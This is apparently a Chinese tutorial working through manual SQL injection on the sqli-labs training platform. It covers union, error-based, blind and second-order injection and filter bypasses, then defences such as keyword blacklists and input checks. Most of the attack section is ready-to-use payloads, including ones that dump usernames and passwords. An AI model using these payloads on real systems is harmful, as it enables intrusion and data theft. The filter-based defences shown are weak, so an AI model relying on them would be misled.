以下是通过SLQi-labs平台的部分简单例题的手工注入过程
页面提示:Please input the ID as parameter with numeric value
我们首先构造id参数值:
http://192.168.2.198/sqli-labs-master/Less-1/?id=1' or 1=1--+
确定存在注入点,并猜测SQL语句为:
select [字段] from [表] where [id]="$id";
因为UNION联合语句函数的格式要求,UNION后的联合语句的回显字段数要和UNION前的回显列数一致……
order by *
union select 1,2,……
注意:id的value我们需要给一个不存在结果的value
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
group_concat()
: 将group by产生的同一个分组中的值连接起来,返回一个字符串结果
上段~将数据库中的所有表名拼接成一个字符串返回
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
union select 1,group_concat(id,0x7e,email_id),3 from emails --+
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+
extractvalue(XML,XPath)
从目标XML中返回包含查询值得字符串
参数XML:String格式,为XML文档对象得名称
参数XPath:xpath格式得字符串
因为我们在xpath输入的不是要求的xpath格式的字符串,所以函数会报错返回xpath参数内容
xpath会被带入mysql进行执行操作,发现不是xpath格式,但是只有在执行后才会发现,就会执行concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())
sql代码,查询内容并且concat拼接字符串,随后由extractvalue函数返回报错~
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
从返回的结果发现问题,没有显示全部的字段信息;可以利用筛选过滤条件来
and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users where username not in ('Dumb','Angelina'))))=1 --+
利用条件where约束来过滤掉我们已知的字段信息,于是mysql在执行的时候就会越过Dumb和Angelina信息,显示后面的信息……以此类推!我们就可以通过不断的条件绕过回显的模式来获取所有内容!在很多情况下我们发现无法完全回显内容,都可以利用这个方法来绕过已知字段信息
通过判断注入点的语句,判断注入点为数字型注入点:
?id=1 and 1=1 --+ #判断数字型注入点
?id=1' and 1=1 --+ #判断字符型注入点
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
?id=0 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
Less2的具体攻击方法和Less1一样,不同的是Less2是数字型注入,不需要单引号闭合
判断注入点
从报错信息显示,我们的id—value写在SQL语句的括号中,换言之就是,这条SQL语句缺少一个右括号~
确定注入点和方法策略后按照Less1/2的方法UNION/报错注入方法
判断注入点
?id=1
?id=1'
?id=1')
?id=1" # 报错…… ^
我们的ID值会放在SQL语句中,且被("$id")
包围
?id=1") --+
按照这回显,可以认为这是一处盲注……
SQL盲注点 ~~ UNION联合(回显)查询的方法就不可以了……
?id=1' and left(version(),1)='5' --+
left()
:从左截取a结果的1个长度的字符
只有当**and
**后面的sql语句为True才不会报错~……
通过猜解的方式,利用left的方法猜解数据库的版本信息第一个字符(环境是Mysql 5.1,所以版本信息第一个字符是‘5’)由此推演,我们可以利用布尔的判断特性来猜解数据库名……
如上~ 如果我们不断的对目标进行猜解,就可以得到数据库名的第一个字符,以此类推第二个字符……第N个字符;数据库名的长度也可以通过length(database())>=*
进行猜解
牢记布尔盲注的特点:只有当**and
**后面的sql语句为True才不会报错;报错就表示and后的sql语句不成立……开动脑筋就可以创造奇迹
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
ascii(substr((select database()),1,1))=98
substr(a,b,c)
将a结果从b开始截取c长度字符,ascii()将字符转为ascii值
XPath报错注入:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0x7e) --+
主要思路就是利用时间延迟来判断布尔条件是否达成,本质上是利用时间延迟来进行布尔和报错盲注的判断依据条件;用于没有任何回显信息的时候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句, 条件为假,
?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
ascii()
负责猜解;if()
负责判断,若是猜解成立则返回1,若是猜解不成立延迟10秒
从报错结果中,看出注释符应该被禁了……而且从报错结果认定布尔和报错注入是不可举的!!!
于者乎……时间盲注是最优选择~~~
当然了……还有在这里说一说文件的导入于导出的方法:
*- 借鉴sqli-labs-24
分析环境文件:
login.php
:查询数据库用户存在和验证登录
login.php中使用了mysql_real_escape_string()
函数对用户输入的字符串进行处理;会将特殊字符进行转义使之失去效果;但是~之后数据存储进数据库后转义的字符会恢复原样!
在login_create.php
注册页面中,使用了mysql_real_escape_string()
但是数据还是会被存放在数据库中……
数据会被完整的记录在数据库中
数据库中有了我们的“小玩意”之后……
登录我们的账户,因为我们的账户是以admin'#
保存的,固然要这样的去访问和登录
前端提交user和pass后,会在修改密码页面修改密码
就这样我们成功的修改了admin的密码!为啥呢?
Sql 语句变为 UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’
也 就 是 执 行 了 UPDATE users SET passwd=”New_Pass” WHERE sername =’admin’
利用注册的admin’# 修改密码时候从数据库提取该数据 造成了数据 命令拼接
SQL注入可以做什么?如果从一个普通人的角度看,第一想起的就是“万能密码”即通过构造SQL注入语句绕过密码验证。
loadfile()
into outfile
等函数都可以实现读写本地文件。当然读写文件的先决条件:文件的读写权限、文件为可读属性、了解文件的物理路径等。本文的SQL注入防御将会基于“常见SQL注入环境搭建(by:Mirror王宇阳)”中的搭建的环境做出防御措施。
将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。
# 部分敏感字符和字符串
delete from|from|count\(|drop table|update|truncate|mid\(|char\(|xp_cmdshell|exec master|netlocalgroup administrators|net user|[\{|\}|!|\']
# 前端处理
var str = "select * from table where id=123";
var reg = /(.*?((select)|(from)|(count)|(delete)|(update)|(drop)|(truncate)).*?){2,}/i;
return(reg.test(str));
在字符过滤方面,通常过滤空格、括号、引号……等特殊字符,但是这些可以绕过的:
举例:过滤空格 select/**/name/**/from/**/user/**/where/**/id='kk' 或 select(name)from(user)where(id='kk')
通过这种方法就会规避对空格的过滤;过滤括号和引号select name from user wehere id=0x6b6b
0x6b6b(kk的十六进制)
由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
// 接收参数text
if(isset($_GET['text']) && strlen($_GET['text']) < 10){
$text=$_GET['text'];
} else {
echo "输入内容不符规范";
}
根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。
因为PHP语言没有严格的限制数据类型的定义例如:“ID=1 就默认ID为Intger ; name=kk 默认name为string”在PHP的弱类型管理中这是不安全的。
举例:
// 接收参数text
if(isset($_GET['text'])){
$text=$_GET['text'];
}
// 拼接sql语句并执行
$sql="SELECT * FROM admin WHERE uid='$text' LIMIT 0,1";
echo 'SQL拼接结果:'.$sql;
echo '<hr>';
// 执行sql语句并返回结果
$result=mysqli_query($conn, $sql);
这里的text参数没有限制我们的输入,理论上我们的输入应该限制为“Intger”;当text接到' union select 1,database(),version(),4; -- +
参数后就会自动推导text为“String”类型并拼接为SQL语句。
这里可以使用is_numeric()
\ ctype_digit()
函数判断数据类型
is_numeric():检测变量是否为数字或数字字符串;指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
if(isset($_GET['text']) && is_numeric($_GET['text'])){
$text=$_GET['text'];
} else {
echo "输入内容不符规范";
}
ctype_digit():纯数字检测;对指定的变量检测判断是否为连续且纯数字的字符串(字符串离全为数字)。
if(isset($_GET['text']) && ctype_digit($_GET['text'])){
$text=$_GET['text'];
} else {
echo "输入内容不符规范";
}
缺陷:
这里只可以有效的预防数字型的注入点,而String类型的注入点此方法则无效。
在字符型注入点,任何恶意的SQL攻击都会包含一些特殊的字符,例如空格、括号、引号……等。如果存在敏感的特殊字符,需要使用字符转义。
function safe_replace($string)
{
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
…… …… …… ……
return $string;
}
对一些例如单引号、双引号、反斜杠等特殊字符添加一个反斜杠以确保在查询这些数据之前,用户提供的输入是干净的。但要注意,你是在连接数据库的前提下使用这个函数。
这个函数的原理跟mysql_real_escape_string()相似。但是当在php.ini文件中,“magic_quotes_gpc“的值是“on”的时候,就不要使用这个函数。magic_quotes_gpc 的默认值是on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。你可以使用get_magic_quotes_gpc()函数来确定它是否开启。
这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被该函数转化为HTML实体<(<),输入>就被转为实体>.(HTML实体对照表:http://www.w3school.com.cn/html/html_entities.asp),可以防止XSS和SQL注入攻击。
在HTML中,一些特定字符有特殊的含义,如果要保持字符原来的含义,就应该转换为HTML实体。这个函数会返回转换后的字符串,例如‘&’ (ampersand) 转为’&‘(ps:请参照第三点中的实体对照表链接)
这个函数可以去除字符串中所有的HTML,JavaScript和PHP标签,当然你也可以通过设置该函数的第二个参数,让一些特定的标签出现。
笔者在学习SQL注入期间了解的注入防御策略很少,可能也是实践的操作还是太少、代码基础仍有欠缺……By:Mirror王宇阳